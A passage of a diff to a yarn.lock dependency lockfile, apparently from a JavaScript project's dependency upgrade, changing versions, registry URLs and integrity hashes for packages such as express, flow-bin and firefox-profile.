 
-event-to-promise@0.8.0:
-  version "0.8.0"
-  resolved "https://registry.yarnpkg.com/event-to-promise/-/event-to-promise-0.8.0.tgz#4b84f11772b6f25f7752fc74d971531ac6f5b626"
-  integrity sha1-S4TxF3K28l93Uvx02XFTGsb1tiY=
+event-target-shim@^5.0.0:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/event-target-shim/-/event-target-shim-5.0.1.tgz#5d4d3ebdf9583d63a5333ce2deb7480ab2b05789"
+  integrity sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==
 
 eventemitter3@^4.0.0:
   version "4.0.7"
@@ -7563,7 +8581,7 @@ events@^1.0.0:
   resolved "https://registry.yarnpkg.com/events/-/events-1.1.1.tgz#9ebdb7635ad099c70dcc4c2a1f5004288e8bd924"
   integrity sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=
 
-events@^3.2.0:
+events@^3.2.0, events@^3.3.0:
   version "3.3.0"
   resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
   integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==
@@ -7635,6 +8653,21 @@ execa@^5.0.0:
     signal-exit "^3.0.3"
     strip-final-newline "^2.0.0"
 
+execa@^7.1.1:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/execa/-/execa-7.2.0.tgz#657e75ba984f42a70f38928cedc87d6f2d4fe4e9"
+  integrity sha512-UduyVP7TLB5IcAQl+OzLyLcS/l32W/GLg+AhHJ+ow40FOk2U3SAllPwR44v4vmdFwIWqpdwxxpQbF1n5ta9seA==
+  dependencies:
+    cross-spawn "^7.0.3"
+    get-stream "^6.0.1"
+    human-signals "^4.3.0"
+    is-stream "^3.0.0"
+    merge-stream "^2.0.0"
+    npm-run-path "^5.1.0"
+    onetime "^6.0.0"
+    signal-exit "^3.0.7"
+    strip-final-newline "^3.0.0"
+
 executable@^4.1.0:
   version "4.1.1"
   resolved "https://registry.yarnpkg.com/executable/-/executable-4.1.1.tgz#41532bff361d3e57af4d763b70582db18f5d133c"
@@ -7667,18 +8700,6 @@ expand-tilde@^2.0.2:
   dependencies:
     homedir-polyfill "^1.0.1"
 
-expect@=27.2.5:
-  version "27.2.5"
-  resolved "https://registry.yarnpkg.com/expect/-/expect-27.2.5.tgz#16154aaa60b4d9a5b0adacfea3e4d6178f4b93fd"
-  integrity sha512-ZrO0w7bo8BgGoP/bLz+HDCI+0Hfei9jUSZs5yI/Wyn9VkG9w8oJ7rHRgYj+MA7yqqFa0IwHA3flJzZtYugShJA==
-  dependencies:
-    "@jest/types" "^27.2.5"
-    ansi-styles "^5.0.0"
-    jest-get-type "^27.0.6"
-    jest-matcher-utils "^27.2.5"
-    jest-message-util "^27.2.5"
-    jest-regex-util "^27.0.6"
-
 expect@^29.7.0:
   version "29.7.0"
   resolved "https://registry.yarnpkg.com/expect/-/expect-29.7.0.tgz#578874590dcb3214514084c08115d8aee61e11bc"
@@ -7691,36 +8712,36 @@ expect@^29.7.0:
     jest-util "^29.7.0"
 
 express@^4.17.3:
-  version "4.18.2"
-  resolved "https://registry.yarnpkg.com/express/-/express-4.18.2.tgz#3fabe08296e930c796c19e3c516979386ba9fd59"
-  integrity sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==
+  version "4.21.0"
+  resolved "https://registry.yarnpkg.com/express/-/express-4.21.0.tgz#d57cb706d49623d4ac27833f1cbc466b668eb915"
+  integrity sha512-VqcNGcj/Id5ZT1LZ/cfihi3ttTn+NJmkli2eZADigjq29qTlWi/hAQ43t/VLPq8+UX06FCEx3ByOYet6ZFblng==
   dependencies:
     accepts "~1.3.8"
     array-flatten "1.1.1"
-    body-parser "1.20.1"
+    body-parser "1.20.3"
     content-disposition "0.5.4"
     content-type "~1.0.4"
-    cookie "0.5.0"
+    cookie "0.6.0"
     cookie-signature "1.0.6"
     debug "2.6.9"
     depd "2.0.0"
-    encodeurl "~1.0.2"
+    encodeurl "~2.0.0"
     escape-html "~1.0.3"
     etag "~1.8.1"
-    finalhandler "1.2.0"
+    finalhandler "1.3.1"
     fresh "0.5.2"
     http-errors "2.0.0"
-    merge-descriptors "1.0.1"
+    merge-descriptors "1.0.3"
     methods "~1.1.2"
     on-finished "2.4.1"
     parseurl "~1.3.3"
-    path-to-regexp "0.1.7"
+    path-to-regexp "0.1.10"
     proxy-addr "~2.0.7"
-    qs "6.11.0"
+    qs "6.13.0"
     range-parser "~1.2.1"
     safe-buffer "5.2.1"
-    send "0.18.0"
-    serve-static "1.15.0"
+    send "0.19.0"
+    serve-static "1.16.2"
     setprototypeof "1.2.0"
     statuses "2.0.1"
     type-is "~1.6.18"
@@ -7764,20 +8785,11 @@ extend-shallow@^3.0.0, extend-shallow@^3.0.2:
     assign-symbols "^1.0.0"
     is-extendable "^1.0.1"
 
-extend@3.0.2, extend@^3.0.0, extend@~3.0.2:
+extend@^3.0.0:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
   integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
 
-external-editor@^3.0.3:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/external-editor/-/external-editor-3.1.0.tgz#cb03f740befae03ea4d283caed2741a83f335495"
-  integrity sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==
-  dependencies:
-    chardet "^0.7.0"
-    iconv-lite "^0.4.24"
-    tmp "^0.0.33"
-
 extglob@^2.0.4:
   version "2.0.4"
   resolved "https://registry.yarnpkg.com/extglob/-/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543"
@@ -7811,11 +8823,6 @@ extract-zip@^2.0.1:
   optionalDependencies:
     "@types/yauzl" "^2.9.1"
 
-extsprintf@1.3.0, extsprintf@^1.2.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
-  integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=
-
 fancy-log@^1.3.2:
   version "1.3.3"
   resolved "https://registry.yarnpkg.com/fancy-log/-/fancy-log-1.3.3.tgz#dbc19154f558690150a23953a0adbd035be45fc7"
@@ -7826,11 +8833,6 @@ fancy-log@^1.3.2:
     parse-node-version "^1.0.0"
     time-stamp "^1.0.0"
 
-fast-deep-equal@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz#7b05218ddf9667bf7f370bf7fdb2cb15fdd0aa49"
-  integrity sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=
-
 fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
   version "3.1.3"
   resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
@@ -7859,14 +8861,7 @@ fast-glob@^3.2.9:
     merge2 "^1.3.0"
     micromatch "^4.0.4"
 
-fast-json-patch@^2.0.6:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/fast-json-patch/-/fast-json-patch-2.2.1.tgz#18150d36c9ab65c7209e7d4eb113f4f8eaabe6d9"
-  integrity sha512-4j5uBaTnsYAV5ebkidvxiLUYOwjQ+JSFljeqfTxCrH9bDmlCQaOJFS84oDJ2rAXZq2yskmk3ORfoP9DCwqFNig==
-  dependencies:
-    fast-deep-equal "^2.0.1"
-
-fast-json-patch@^3.0.0-1:
+fast-json-patch@3.1.1, fast-json-patch@^3.0.0-1:
   version "3.1.1"
   resolved "https://registry.yarnpkg.com/fast-json-patch/-/fast-json-patch-3.1.1.tgz#85064ea1b1ebf97a3f7ad01e23f9337e72c66947"
   integrity sha512-vf6IHUX2SBcA+5/+4883dsIjpBTqmfBjmYiWK1savxQmFk4JfBMLa7ynTYOs1Rolp/T1betJxHiGD3g1Mn8lUQ==
@@ -7876,20 +8871,15 @@ fast-json-stable-stringify@^2.0.0, fast-json-stable-stringify@^2.1.0:
   resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
   integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
 
-fast-levenshtein@^2.0.6, fast-levenshtein@~2.0.6:
+fast-levenshtein@^2.0.6:
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
   integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=
 
-fast-redact@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/fast-redact/-/fast-redact-2.0.0.tgz#17bb8f5e1f56ecf4a38c8455985e5eab4c478431"
-  integrity sha512-zxpkULI9W9MNTK2sJ3BpPQrTEXFNESd2X6O1tXMFpK/XM0G5c5Rll2EVYZH2TqI3xRGK/VaJ+eEOt7pnENJpeA==
-
-fast-safe-stringify@^2.0.7:
-  version "2.0.7"
-  resolved "https://registry.yarnpkg.com/fast-safe-stringify/-/fast-safe-stringify-2.0.7.tgz#124aa885899261f68aedb42a7c080de9da608743"
-  integrity sha512-Utm6CdzT+6xsDk2m8S6uL8VHxNwI6Jub+e9NYTcAms28T84pTa25GJQV9j0CY0N1rM8hK4x6grpF2BQf+2qwVA==
+fast-redact@^3.1.1:
+  version "3.5.0"
+  resolved "https://registry.yarnpkg.com/fast-redact/-/fast-redact-3.5.0.tgz#e9ea02f7e57d0cd8438180083e93077e496285e4"
+  integrity sha512-dwsoQlS7h9hMeYUq1W++23NDcBLV4KqONnITDV9DjfS3q1SgDGVrBdvvTLUotWtPSD7asWDV9/CmsZPy8Hf70A==
 
 fast-xml-parser@^3.19.0:
   version "3.19.0"
@@ -7981,6 +8971,19 @@ fd-slicer@~1.1.0:
   dependencies:
     pend "~1.2.0"
 
+fdir@^6.4.3:
+  version "6.4.3"
+  resolved "https://registry.yarnpkg.com/fdir/-/fdir-6.4.3.tgz#011cdacf837eca9b811c89dbb902df714273db72"
+  integrity sha512-PMXmW2y1hDDfTSRc9gaXIuCCRpuoz3Kaz8cUelp3smouvfT632ozg2vrT6lJsHKKOF59YLbOGfAWGUcKEfRMQw==
+
+fetch-blob@^3.1.2, fetch-blob@^3.1.4:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/fetch-blob/-/fetch-blob-3.2.0.tgz#f09b8d4bbd45adc6f0c20b7e787e793e309dcce9"
+  integrity sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==
+  dependencies:
+    node-domexception "^1.0.0"
+    web-streams-polyfill "^3.0.3"
+
 figures@^1.3.5:
   version "1.7.0"
   resolved "https://registry.yarnpkg.com/figures/-/figures-1.7.0.tgz#cbe1e3affcf1cd44b80cadfed28dc793a9701d2e"
@@ -7989,20 +8992,6 @@ figures@^1.3.5:
     escape-string-regexp "^1.0.5"
     object-assign "^4.1.0"
 
-figures@^3.0.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/figures/-/figures-3.2.0.tgz#625c18bd293c604dc4a8ddb2febf0c88341746af"
-  integrity sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==
-  dependencies:
-    escape-string-regexp "^1.0.5"
-
-file-entry-cache@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-5.0.1.tgz#ca0f6efa6dd3d561333fb14515065c2fafdf439c"
-  integrity sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==
-  dependencies:
-    flat-cache "^2.0.1"
-
 file-entry-cache@^6.0.1:
   version "6.0.1"
   resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz#211b2dd9659cb0394b073e7323ac3c933d522027"
@@ -8119,13 +9108,13 @@ filter-obj@^1.1.0:
   resolved "https://registry.yarnpkg.com/filter-obj/-/filter-obj-1.1.0.tgz#9b311112bc6c6127a16e016c6c5d7f19e0805c5b"
   integrity sha512-8rXg1ZnX7xzy2NGDVkBVaAy+lSlPNwad13BtgSlLuxfIslyt5Vg64U7tFcCt4WS1R0hvtnQybT/IyCkGZ3DpXQ==
 
-finalhandler@1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.2.0.tgz#7d23fe5731b207b4640e4fcd00aec1f9207a7b32"
-  integrity sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==
+finalhandler@1.3.1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.3.1.tgz#0c575f1d1d324ddd1da35ad7ece3df7d19088019"
+  integrity sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==
   dependencies:
     debug "2.6.9"
-    encodeurl "~1.0.2"
+    encodeurl "~2.0.0"
     escape-html "~1.0.3"
     on-finished "2.4.1"
     parseurl "~1.3.3"
@@ -8186,22 +9175,16 @@ find@^0.3.0:
   dependencies:
     traverse-chain "~0.1.0"
 
-firefox-profile@1.3.1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/firefox-profile/-/firefox-profile-1.3.1.tgz#1418d36b79c191984d6117bd772d3cbf9675a92b"
-  integrity sha512-8q7DnwVIXvuJuBm1shr5ivRh0Ih2ytWwOIMwHInDSlVyrjQVXy7Ik0frItDdWb/P5CIpQFcMk9fPsUwNqi2lyQ==
+firefox-profile@4.6.0:
+  version "4.6.0"
+  resolved "https://registry.yarnpkg.com/firefox-profile/-/firefox-profile-4.6.0.tgz#e819b2f75a05b4d215d0c30a74d5b9d2d9ba8ae1"
+  integrity sha512-I9rAm1w8U3CdhgO4EzTJsCvgcbvynZn9lOySkZf78wUdUIQH2w9QOKf3pAX+THt2XMSSR3kJSuM8P7bYux9j8g==
   dependencies:
-    adm-zip "~0.4.x"
-    archiver "~2.1.0"
-    async "~2.5.0"
-    fs-extra "~4.0.2"
-    ini "~1.3.3"
-    jetpack-id "1.0.0"
-    lazystream "~1.0.0"
-    lodash "~4.17.2"
-    minimist "^1.1.1"
-    uuid "^3.0.0"
-    xml2js "~0.4.4"
+    adm-zip "~0.5.x"
+    fs-extra "~9.0.1"
+    ini "~2.0.0"
+    minimist "^1.2.5"
+    xml2js "^0.5.0"
 
 firefox-profile@^1.0.2:
   version "1.2.0"
@@ -8230,15 +9213,6 @@ first-match@0.0.1:
   resolved "https://registry.yarnpkg.com/first-match/-/first-match-0.0.1.tgz#a60ec642700f0f437234ebb7ec3f382476e542fd"
   integrity sha1-pg7GQnAPD0NyNOu37D84JHblQv0=
 
-flat-cache@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-2.0.1.tgz#5d296d6f04bda44a4630a301413bdbc2ec085ec0"
-  integrity sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==
-  dependencies:
-    flatted "^2.0.0"
-    rimraf "2.6.3"
-    write "1.0.3"
-
 flat-cache@^3.0.4:
   version "3.0.4"
   resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-3.0.4.tgz#61b0338302b2fe9f957dcc32fc2a87f1c3048b11"
@@ -8255,16 +9229,6 @@ flat-cache@^4.0.0:
     flatted "^3.2.9"
     keyv "^4.5.4"
 
-flatstr@^1.0.12:
-  version "1.0.12"
-  resolved "https://registry.yarnpkg.com/flatstr/-/flatstr-1.0.12.tgz#c2ba6a08173edbb6c9640e3055b95e287ceb5931"
-  integrity sha512-4zPxDyhCyiN2wIAtSLI6gc82/EjqZc1onI4Mz/l0pWrAlsSfYH/2ZIcU+e3oA2wDwbzIWNKwa23F8rh6+DRWkw==
-
-flatted@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/flatted/-/flatted-2.0.2.tgz#4575b21e2bcee7434aa9be662f4b7b5f9c2b5138"
-  integrity sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==
-
 flatted@^3.1.0:
   version "3.2.7"
   resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.2.7.tgz#609f39207cb614b89d0765b477cb2d437fbf9787"
@@ -8275,24 +9239,56 @@ flatted@^3.2.9:
   resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.1.tgz#21db470729a6734d4997002f439cb308987f567a"
   integrity sha512-X8cqMLLie7KsNUDSdzeN8FYK9rEt4Dt67OsG/DNGnYTSDBG4uFAJFBnUeiV+zCVAvwFy56IjM9sH51jVaEhNxw==
 
-flow-bin@^0.232.0:
-  version "0.232.0"
-  resolved "https://registry.yarnpkg.com/flow-bin/-/flow-bin-0.232.0.tgz#80587406cbb3a74577151ad27c6058b2a468c215"
-  integrity sha512-7uOycTN+Ys2nYRJRig5S2yN41ZokW7bC4K1GC4nCDa/3FAZLP5/mQbee6UjxFBP9MC4yUYi17bdFTFzCH8bHeg==
+flow-bin@^0.279.0:
+  version "0.279.0"
+  resolved "https://registry.yarnpkg.com/flow-bin/-/flow-bin-0.279.0.tgz#06e502a51d735083d715ef769f43bdcb0fc2bb61"
+  integrity sha512-Xf0T82atOcEf5auHvJfUF+wWIxieBuUJZBu2hlAizdhAzwqSJic74ZLaL6N5SsE0SY9PxPf3Z/lBU7iRpRa9Lw==
 
-flow-remove-types@^2.232.0:
-  version "2.232.0"
-  resolved "https://registry.yarnpkg.com/flow-remove-types/-/flow-remove-types-2.232.0.tgz#a4333fee2524b57220791a130955f48e0b107f1a"
-  integrity sha512-t7B6axPRmSGeWU1m2j+LOBocw9ORXcomoykfMoZedd8snGum3QQpzro3eQpDoutnqKRtJliAvX6PJtFCNEjpMQ==
+flow-remove-types@^2.279.0:
+  version "2.279.0"
+  resolved "https://registry.yarnpkg.com/flow-remove-types/-/flow-remove-types-2.279.0.tgz#3a3388d9158eba0f82c40d80d31d9640b883a3f5"
+  integrity sha512-bPFloMR/A2b/r/sIsf7Ix0LaMicCJNjwhXc4xEEQVzJCIz5u7C7XDaEOXOiqveKlCYK7DcBNn6R01Cbbc9gsYA==
   dependencies:
-    hermes-parser "0.20.1"
+    hermes-parser "0.29.1"
     pirates "^3.0.2"
     vlq "^0.2.1"
 
-fluent-syntax@0.13.0:
-  version "0.13.0"
-  resolved "https://registry.yarnpkg.com/fluent-syntax/-/fluent-syntax-0.13.0.tgz#417144d99cba94ff474c422b3e6623d5a842855a"
-  integrity sha512-0Bk1AsliuYB550zr4JV9AYhsETsD3ELXUQzdXGJfIc1Ni/ukAfBdQInDhVMYJUaT2QxoamNslwkYF7MlOrPUwg==
+flow-typed@^4.1.1:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/flow-typed/-/flow-typed-4.1.1.tgz#e4ff8ea37edcb8fb463b72b70787147bf52a1e08"
+  integrity sha512-S1NSkTm81UkoSiuDp9vUAY+jYSB8r/Bec1RFqjK3o+XagFu+OQtm1nh3ZyoshHtg1oPKfrSnslXHlqWiP76BSw==
+  dependencies:
+    "@octokit/rest" "^18.12.0"
+    colors "1.4.0"
+    flowgen "^1.10.0"
+    fs-extra "^8.1.0"
+    glob "^7.1.6"
+    got "^11.8.5"
+    js-yaml "^4.1.0"
+    md5 "^2.2.1"
+    mkdirp "^1.0.3"
+    node-stream-zip "^1.15.0"
+    prettier "^1.19.1"
+    rimraf "^3.0.2"
+    semver "^7.6.3"
+    simple-git "^3.10.0"
+    table "^6.7.3"
+    which "^2.0.2"
+    yargs "^15.1.0"
+
+flowgen@^1.10.0:
+  version "1.21.0"
+  resolved "https://registry.yarnpkg.com/flowgen/-/flowgen-1.21.0.tgz#f7ecb693892c4bd069492dbf77db561bbb451aa9"
+  integrity sha512-pFNFFyMLRmW6njhOIm5TrbGUDTv64aujmys2KrkRE2NYD8sXwJUyicQRwU5SPRBRJnFSD/FNlnHo2NnHI5eJSw==
+  dependencies:
+    "@babel/code-frame" "^7.16.7"
+    "@babel/highlight" "^7.16.7"
+    commander "^6.1.0"
+    lodash "^4.17.20"
+    prettier "^2.5.1"
+    shelljs "^0.8.4"
+    typescript "~4.4.4"
+    typescript-compiler "^1.4.1-2"
 
 follow-redirects@^1.0.0:
   version "1.15.6"
@@ -8312,9 +9308,10 @@ foreground-child@^3.1.0:
     cross-spawn "^7.0.0"
     signal-exit "^4.0.1"
 
-forever-agent@~0.6.1:
-  version "0.6.1"
-  resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91"
+form-data-encoder@^2.1.2:
+  version "2.1.4"
+  resolved "https://registry.yarnpkg.com/form-data-encoder/-/form-data-encoder-2.1.4.tgz#261ea35d2a70d48d30ec7a9603130fa5515e9cd5"
+  integrity sha512-yDYSgNMraqvnxiEXO4hi88+YZxaHC6QKzb5N84iRCTDeRO7ZALpir/lVmf/uXUhnwUr2O4HU8s/n6x+yNjQkHw==
 
 form-data@^3.0.0:
   version "3.0.1"
@@ -8334,14 +9331,12 @@ form-data@^4.0.0:
     combined-stream "^1.0.8"
     mime-types "^2.1.12"
 
-form-data@~2.3.2:
-  version "2.3.3"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.3.3.tgz#dcce52c05f644f298c6a7ab936bd724ceffbf3a6"
-  integrity sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==
+formdata-polyfill@^4.0.10:
+  version "4.0.10"
+  resolved "https://registry.yarnpkg.com/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz#24807c31c9d402e002ab3d8c720144ceb8848423"
+  integrity sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==
   dependencies:
-    asynckit "^0.4.0"
-    combined-stream "^1.0.6"
-    mime-types "^2.1.12"
+    fetch-blob "^3.1.2"
 
 forwarded@0.2.0:
   version "0.2.0"
@@ -8378,6 +9373,15 @@ fs-exists-sync@^0.1.0:
   resolved "https://registry.yarnpkg.com/fs-exists-sync/-/fs-exists-sync-0.1.0.tgz#982d6893af918e72d08dec9e8673ff2b5a8d6add"
   integrity sha1-mC1ok6+RjnLQjeyehnP/K1qNat0=
 
+fs-extra@11.2.0:
+  version "11.2.0"
+  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-11.2.0.tgz#e70e17dfad64232287d01929399e0ea7c86b0e5b"
+  integrity sha512-PmDi3uwK5nFuXh7XDTlVnS17xJS7vW36is2+w3xcv8SVxiB4NyATf4ctkVY5bkSjX0Y4nbvZCq1/EjtEyr9ktw==
+  dependencies:
+    graceful-fs "^4.2.0"
+    jsonfile "^6.0.1"
+    universalify "^2.0.0"
+
 fs-extra@^4.0.2, fs-extra@~4.0.2:
   version "4.0.3"
   resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-4.0.3.tgz#0d852122e5bc5beb453fb028e9c0c9bf36340c94"
@@ -8396,6 +9400,16 @@ fs-extra@^8.1.0:
     jsonfile "^4.0.0"
     universalify "^0.1.0"
 
+fs-extra@~9.0.1:
+  version "9.0.1"
+  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-9.0.1.tgz#910da0062437ba4c39fedd863f1675ccfefcb9fc"
+  integrity sha512-h2iAoN838FqAFJY2/qVpzFXy+EBxfVE220PalAqQLDVsFOHLJrZvut5puAbCdNv6WJk+B8ihI+k0c7JK5erwqQ==
+  dependencies:
+    at-least-node "^1.0.0"
+    graceful-fs "^4.2.0"
+    jsonfile "^6.0.1"
+    universalify "^1.0.0"
+
 fs-monkey@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/fs-monkey/-/fs-monkey-1.0.3.tgz#ae3ac92d53bb328efe0e9a1d9541f6ad8d48e2d3"
@@ -8411,10 +9425,10 @@ fs.realpath@^1.0.0:
   resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
   integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==
 
-fsevents@2.1.3:
-  version "2.1.3"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.1.3.tgz#fb738703ae8d2f9fe900c33836ddebee8b97f23e"
-  integrity sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==
+fsevents@2.3.2, fsevents@~2.3.2:
+  version "2.3.2"
+  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
+  integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==
 
 fsevents@^1.2.7:
   version "1.2.13"
@@ -8429,11 +9443,6 @@ fsevents@^2.3.2:
   resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6"
   integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==
 
-fsevents@~2.3.2:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
-  integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==
-
 function-bind@^1.1.1, function-bind@^1.1.2:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
@@ -8444,23 +9453,18 @@ functional-red-black-tree@^1.0.1:
   resolved "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327"
   integrity sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=
 
-fx-runner@1.0.12:
-  version "1.0.12"
-  resolved "https://registry.yarnpkg.com/fx-runner/-/fx-runner-1.0.12.tgz#943579f7eedf54a711588982a6615e79b94b6a5e"
-  integrity sha512-SLATlfKI2lyIcQsU8Sgfcwrni6PpC1VMTgp3aRomK/6azrzSQ3r63HqoTRliE/6JP8WjqVkIdCOGWk1ZqhfceA==
+fx-runner@1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/fx-runner/-/fx-runner-1.4.0.tgz#7a3f0374cc78c6c689ef75937b7b0cd75428c509"
+  integrity sha512-rci1g6U0rdTg6bAaBboP7XdRu01dzTAaKXxFf+PUqGuCv6Xu7o8NZdY1D5MvKGIjb6EdS1g3VlXOgksir1uGkg==
   dependencies:
     commander "2.9.0"
-    shell-quote "1.6.1"
+    shell-quote "1.7.3"
     spawn-sync "1.0.15"
     when "3.7.7"
     which "1.2.4"
     winreg "0.0.12"
 
-gensync@^1.0.0-beta.1:
-  version "1.0.0-beta.1"
-  resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.1.tgz#58f4361ff987e5ff6e1e7a210827aa371eaac269"
-  integrity sha512-r8EC6NO1sngH/zdD9fiRDLdcgnbayXah+mLgManTaIZJqEC1MZstmnox8KpnI2/fxQwrp5OpCOYWLp4rBl4Jcg==
-
 gensync@^1.0.0-beta.2:
   version "1.0.0-beta.2"
   resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
@@ -8480,6 +9484,17 @@ get-intrinsic@^1.0.2, get-intrinsic@^1.1.1:
     has "^1.0.3"
     has-symbols "^1.0.1"
 
+get-intrinsic@^1.1.3, get-intrinsic@^1.2.4:
+  version "1.2.4"
